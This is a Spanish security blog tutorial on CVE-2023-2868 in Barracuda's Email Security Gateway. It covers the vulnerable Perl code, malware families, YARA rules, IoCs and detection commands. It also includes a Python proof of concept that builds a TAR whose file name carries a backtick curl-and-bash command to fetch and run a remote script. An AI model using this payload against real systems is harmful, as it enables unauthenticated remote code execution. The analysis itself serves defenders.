Saltar al contenido
Volver al Blog

tutoriales · 8 min de lectura

Barracuda ESG: el bug que obliga a reemplazar el appliance

CVE-2023-2868 es un command injection trivial en el parser de TAR del Email Security Gateway. UNC4841 lo explota desde octubre 2022. Barracuda no recomienda parchear: recomienda tirar el aparato. Reproducimos el filename malicioso, miramos el path del bug en Perl y revisamos los IoCs publicados por Mandiant.

· Manuel López Pérez · tutoriales

CVE-2023-2868 es un command injection trivial en el parser de TAR del Email Security Gateway. UNC4841 lo explota desde octubre 2022. Barracuda no recomienda parchear: recomienda tirar el aparato. Reproducimos el filename malicioso, miramos el path del bug en Perl y revisamos los IoCs publicados por Mandiant.

El 23 de mayo de 2023, Barracuda publica un advisory por CVE-2023-2868 en el Email Security Gateway (ESG, appliance físico). Command injection pre-auth en el parser de archivos TAR que el ESG procesa al escanear adjuntos. CVSS 9.8. Explotado as zero-day por UNC4841 desde el 10 de octubre de 2022 — siete meses antes de la divulgación.

Una semana más tarde, el 6 de junio, Barracuda hace algo poco común: comunica a sus clientes que el parche del 23 no es suficiente y recomienda reemplazar físicamente el appliance, no parchear. La razón se entiende leyendo el reporte de Mandiant: el atacante consigue persistencia tan profunda — módulos .so cargados por el daemon SMTP, rootkit en kernel, binarios firmados trojanizados — que la única vía limpia es reflashear desde un origen verificado, lo que no es posible en un appliance comercial. Más barato tirar y reemplazar.

Lab: análisis del bug con código de referencia tomado del reverse engineering publicado por Rapid7 y Mandiant. No se ejecuta contra ningún appliance en producción.

El bug en una llamada a qx{}

ESG (FreeBSD-based) corre un servicio bsmtpd que, al recibir un email con adjuntos, los pasa a un pipeline de scanners. Para archivos .tar, el módulo Perl Archive::Tar::Streamed enumera los miembros y para cada nombre llama a file(1) vía qx{} para identificar el MIME type antes de pasar el contenido al antivirus.

La línea responsable, según el RE de Rapid7 y Mandiant sobre mod_scanner_attachment.pl:

sub scan_tar_archive {
    my ($tar_path) = @_;
    my $tar = Archive::Tar::Streamed->new($tar_path);

    while (my $entry = $tar->next) {
        my $name = $entry->name;     # ← controlado por el atacante
        # MIME detection on the extracted member name
        my $info = qx{file $name};   # ← BUG: interpolación directa en shell
        # ...further AV scanning chain...
    }
}

qx{} (alias del backtick `…` en Perl) lanza una shell /bin/sh -c para ejecutar el comando. La variable $name viene del header del TAR — donde POSIX permite hasta 100 bytes en el campo name (o 256 con PAX header, hasta GB con GNU long name) y no impone restricciones sobre metacaracteres de shell.

Si el nombre contiene backticks, $(), ;, | o &, la shell los interpreta. RCE como el usuario del scanner — privilegios elevados sobre el firmware del appliance.

No hay magia. Es el ejemplo de manual de command injection por concatenación en shell, en un appliance de seguridad que procesa input no confiable por diseño.

Construir el TAR malicioso

tarfile de Python permite controlar el nombre de miembro byte a byte. El patrón usado por UNC4841 según la disección de Mandiant usa backticks (más fiable que ; con double-quoting de algunas versiones de file(1)):

# poc_cve_2023_2868.py — lab cerrado, listener controlado
import tarfile, io

CMD = 'curl -fsSL http://10.10.10.13/s.sh -o /tmp/s.sh && bash /tmp/s.sh'
# El nombre de archivo es el payload. Backticks → shell expansion.
NAME = f'`{CMD}`.txt'

data = b'A' * 16  # contenido irrelevante

with tarfile.open('payload.tar', 'w') as tar:
    info = tarfile.TarInfo(name=NAME)
    info.size = len(data)
    info.mode = 0o644
    tar.addfile(info, io.BytesIO(data))

# Verificación: tar -tvf payload.tar imprime el nombre con backticks
# -rw-r--r--  0  0  0   16 ...   `curl -fsSL http://10.10.10.13/s.sh -o /tmp/s.sh && bash /tmp/s.sh`.txt

Vector real: adjuntar payload.tar a un email enviado a cualquier dirección protegida por ESG. Sin sesión, sin credenciales, sin que la víctima abra nada: basta con que el email llegue al gateway.

Mandiant documenta variantes con $(...) y con GNU long name extensions para superar el límite de 100 bytes del header POSIX y meter comandos más largos. El stager final descarga uno de los binarios SALTWATER / SEASPY desde infraestructura controlada (ver IoCs).

Por qué Barracuda dice “tirad el aparato”

Tras conseguir RCE, UNC4841 encadena tres familias principales:

  • SALTWATER — backdoor en C++ implementado como módulo Apache-style del SMTP daemon (mod_udp.so, mod_rtf.so, etc.). Reverse shell, file transfer, port forwarding. Hooked via LD_PRELOAD o por carga directa del módulo en bsmtpd.
  • SEASPY — backdoor pasivo en C que parsea tráfico SMTP en bruto y se activa con un magic packet (secuencia de bytes específica en una sesión SMTP que dispara el binding del bind shell). Persistencia diseñada para sobrevivir reinicios.
  • SEASIDE — Lua, staging y light commands. Carga por el módulo mod_require_helo.lua patched.
  • SANDBAR — rootkit a nivel kernel module (nfsd_stub.ko) que oculta procesos y conexiones.

Lo grave no es el malware en sí, es dónde lo plantan. UNC4841 modifica:

  • El binario /sbin/BarracudaMailService (trojanizado en disco; sustituye el ELF firmado por una versión con el backdoor enlazado).
  • Módulos .so cargados desde rutas que el patch del 23-may no recompila ni reemplaza.
  • Kernel modules en /lib/modules/4.9.17-barracuda0/kernel/net/sunrpc/nfsd_stub.ko.
  • Cron jobs en /etc/cron.hourly/{core,aacore,appcheck}.sh y scripts en /etc/init.d/rc.
  • Named pipes en /tmp/{p,p1,p7,b,t,ss} para canal con el bind shell de SEASPY.

Mandiant confirma casos donde el actor mantiene acceso tras el parche del 23 de mayo porque los módulos cargados en runtime no se sustituyen al aplicar el fix. El 6 de junio Barracuda comunica el replacement-only: la única vía limpia es swap físico del appliance. Para una empresa que vende appliances de seguridad, el anuncio es de alto coste reputacional — lo hace porque alternativa válida no existe.

YARA — reglas publicadas por Mandiant

Mandiant publica una familia completa en su análisis técnico de UNC4841 (texto completo en el blog). Listado por familia para hunting en disco:

FamiliaReglas YARA
TAR exploit (CVE-2023-2868)M_Hunting_Exploit_Archive_2, M_Hunting_Exploit_Archive_3, M_Hunting_Exploit_Archive_CVE_2023_2868
SALTWATERM_Hunting_Linux_SALTWATER_1, M_Hunting_Linux_SALTWATER_2, FE_Hunting_Linux_Funchook_FEBeta
SEASPYM_Hunting_Linux_SEASPY_1
SEASIDEM_Hunting_Lua_SEASIDE_1
SKIPJACKM_Hunting_SKIPJACK_1, M_Hunting_Lua_SKIPJACK_2
SEASPRAYM_Hunting_Lua_SEASPRAY_1
WHIRLPOOLM_Hunting_Linux_WHIRLPOOL_1

Regla ejemplo para el TAR malicioso, simplificada (la oficial de Mandiant cubre además variantes de encoding):

rule CVE_2023_2868_Tar_Shell_Metachar
{
    meta:
        author = "ironhackers — basado en M_Hunting_Exploit_Archive_*"
        description = "TAR member name with shell metacharacters (CVE-2023-2868)"
        cve = "CVE-2023-2868"
    strings:
        $magic_ustar = "ustar"
        // backticks, $() or pipes seen in the first 100 bytes of name field
        $rx_meta = /[`$|;&][a-zA-Z0-9 \/\-\._]{4,}[`)]/
    condition:
        filesize < 5MB
        and $magic_ustar
        and $rx_meta
}

IoCs UNC4841 — selección de Mandiant + CISA

Mandiant publica ~70 hashes, ~50 IPs y 8 dominios. Selección representativa por familia:

Samples (MD5)

MD5FilenameFamilia
0d67f50a0bf7a3a017784146ac41ada0snapshot.tarTAR malicioso (CVE-2023-2868)
b601fce4181b275954e3f35b18996c92install_reuse.tarSALTWATER install
827d507aa3bde0ef903ca5dec60cdec8mod_udp.soSALTWATER
4ca4f582418b2cc0626700511a6315c0BarracudaMailServiceSEASPY (binario trojanizado)
cd2813f0260d63ad5adf0446253c2172mod_require_helo.luaSEASIDE
87847445f9524671022d70f2a812728fmod_content.luaSKIPJACK
35cf6faf442d325961935f660e2ab5a0mod_attachment.luaSEASPRAY
9033dc5bac76542b9b752064a56c6ee4nfsd_stub.koSANDBAR (rootkit kernel)

Persistencia (file paths)

PathFamilia
/sbin/BarracudaMailServiceSEASPY (ejecutable trojanizado)
/etc/init.d/rcSEASPY (persistencia)
/etc/cron.hourly/{core,aacore,appcheck}.shSEASPY (persistencia)
/lib/modules/4.9.17-barracuda0/kernel/net/sunrpc/nfsd_stub.koSANDBAR (rootkit kernel)
/tmp/{p,p1,p7,b,t,ss}Named pipes para reverse shell
/mail/tmp/, /mail/mstore/, /usr/share/.uc/Staging y exfiltración

Network IoCs (defanged; selección — lista completa en Mandiant)

TipoIndicadorNotas
IP107.148.149[.]156, 137.175.19[.]25Peg Tech ASN, hosting US
IP192.74.226[.]142, 198.2.254[.]219198.2.254[.]223Peg Tech, infra reusada
Domainbestfindthetruth[.]com, gesturefavour[.]comC2
Domainsingamofing[.]com, singnode[.]com, togetheroffway[.]comC2
Domaingoldenunder[.]com, troublendsef[.]com, fessionalwork[.]comC2

Detección — comandos en el propio appliance

Si tienes acceso al ESG comprometido (consola admin → support shell) y necesitas confirmar compromiso antes del swap físico:

# 1) Persistencia conocida SEASPY
ls -la /etc/init.d/rc /etc/cron.hourly/{core,aacore,appcheck}.sh 2>/dev/null
crontab -l 2>/dev/null; ls /etc/cron.d/ 2>/dev/null

# 2) Binario SEASPY (trojanizado) — comparar contra known-good por versión
sha256sum /sbin/BarracudaMailService
# Strings sospechosos en el binario (magic packet patterns)
strings /sbin/BarracudaMailService | grep -Ei 'tshell|backd|magic|bind|0xdeadbeef|pcap'

# 3) Rootkit kernel SANDBAR — no debería existir en build limpio
ls -la /lib/modules/*/kernel/net/sunrpc/nfsd_stub.ko 2>/dev/null
modinfo nfsd_stub 2>/dev/null

# 4) Named pipes de reverse shell
ls -la /tmp/{p,p1,p7,b,t,ss} 2>/dev/null

# 5) Módulos .so cargados, modificados en los últimos 6 meses
find /usr/lib /usr/local/lib /opt -name "*.so*" -mtime -180 \
  -exec sha256sum {} \; 2>/dev/null

# 6) Variantes SALTWATER
find / -name "mod_udp.so" -o -name "mod_rtf.so" -o -name "mod_rft.so" 2>/dev/null

# 7) Staging dirs de exfiltración con cambios recientes
find /mail/tmp /mail/mstore /usr/share/.uc -type f -mtime -180 2>/dev/null

# 8) Procesos con sockets RAW (SEASPY usa libpcap-style sniffing)
lsof -nP 2>/dev/null | grep -E 'pcap|RAW'

# 9) Conexiones outbound a IoCs publicados
ss -tnp 2>/dev/null | grep -E '107\.148\.149\.156|137\.175\.19\.25|192\.74\.226\.142'

Detección en perimetral — telemetría SMTP

Logs de SEG/Defender for Office 365 con .tar o .tar.gz adjuntos cuyo listado interno contiene metacaracteres. Pseudo-rule de hunting en KQL (Defender):

EmailAttachmentInfo
| where Timestamp > ago(365d)
| where FileName endswith ".tar" or FileName endswith ".tar.gz"
| join kind=inner EmailEvents on NetworkMessageId
| where RecipientEmailAddress endswith "@your-org.com"
| project Timestamp, SenderFromAddress, RecipientEmailAddress,
          Subject, FileName, FileType, SHA256

A nivel red, cualquier salida outbound desde IP del ESG hacia los CIDR/IPs listados es un fallo de inversión de confianza — el appliance perimetral hablando con C2:

# pcap analysis (suricata / zeek) — buscar conexiones del rango de ESG
tshark -r esg_pcap.pcapng -Y 'ip.src == 192.0.2.100 and tcp.flags.syn == 1' \
       -T fields -e frame.time -e ip.src -e ip.dst -e tcp.dstport \
  | sort -u

Atribución

Mandiant atribuye con high confidence a UNC4841, China-nexus. Marcadores operacionales:

  • Targeting concentrado en entidades de interés geopolítico chino: gobierno, defensa, telecom, agencias federales US, ONGs, organismos de UN.
  • Infraestructura C2 reusada con campañas China-nexus anteriores (overlaps con APT41/APT31 pero Mandiant lo trata como cluster propio).
  • Capacidad de mantener acceso durante meses sin disparar detección — operacional, no oportunista.
  • TTPs específicos de PRC clusters: uso de open-source tools junto a custom malware, hands-on-keyboard tras compromiso inicial, selección manual de mailboxes para exfiltrar.

Barracuda confirma ~5 % del parque ESG mundial comprometido. No es masivo, pero la selección no fue al azar: UNC4841 escogió targets, no escaneó el catálogo.

Lo que enseña

  1. Command injection por backtick / qx{} / system($var) sigue siendo el bug más común de RCE pre-auth en parsers que reciben input no confiable. En 2023, en 2024 y en cualquier año donde alguien siga llamando a la shell con strings concatenadas.
  2. Un appliance “seguro” no lo es por estarlo. Lo es por mantenerlo y por su modelo de update. Si el update no llega al firmware o a los módulos cargados en runtime, el atacante con persistencia profunda gana.
  3. La señal de “reemplaza el hardware” en lugar de “parchea” es operativa. Cuando un vendor pide eso, está diciendo que su producto no tiene un mecanismo de recovery que él pueda invocar remotamente. Pesar al elegir vendor.
  4. Targeting de meses sin detección contra un appliance perimetral. Si la organización tiene perfil de objetivo geopolítico, la pregunta no es ¿estoy parcheado?, es ¿tengo telemetría de un appliance que el vendor admite estar comprometido durante 7 meses?.

Referencias

Volver al Blog

Posts Relacionados

Ver Todos los Posts »
Palo Alto GlobalProtect CVE-2024-3400: la cookie que ejecuta como root

tutoriales · 9 min

Palo Alto GlobalProtect CVE-2024-3400: la cookie que ejecuta como root

Command injection pre-auth en PAN-OS GlobalProtect. El parámetro SESSID de la cookie se interpola en una shell para construir el nombre de un archivo de telemetría; metacaracteres ganan ejecución como root. Volexity rastrea explotación desde el 26 de marzo, vendor confirma el 12 de abril.

· Manuel López Pérez

ByBit, un año después: clear signing, Guardrail y EIP-7702 — qué cambió en el ecosistema multi-sig

tutoriales · 16 min

ByBit, un año después: clear signing, Guardrail y EIP-7702 — qué cambió en el ecosistema multi-sig

El 21 de febrero de 2026 cumple un año el hack ByBit. Solo el 3,5 % de los $1.5B se ha congelado. Lo que sí cambió: Safe lanza Guardrail (agosto-2025) bloqueando DELEGATECALL no autorizado, EIP-7702 entra a mainnet con Pectra (mayo-2025), Ethereum Foundation toma el relevo de ERC-7730 desde Ledger y arrastra a Trezor / MetaMask / WalletConnect a un estándar abierto de clear signing. PoC actualizado en Sepolia que compara firma con y sin Guardrail+clear signing.

· Manuel López Pérez

Retrospectiva cyber 2025: cuatro casos que explican el año

tutoriales · 10 min

Retrospectiva cyber 2025: cuatro casos que explican el año

ByBit, la wave UK retail (M&S/Co-op/Harrods), SharePoint ToolShell y Windows 10 end-of-support. Cuatro incidentes con criterio explícito — no top exhaustivo, no ranking — y la lección operativa que cada uno deja para 2026.

· Manuel López Pérez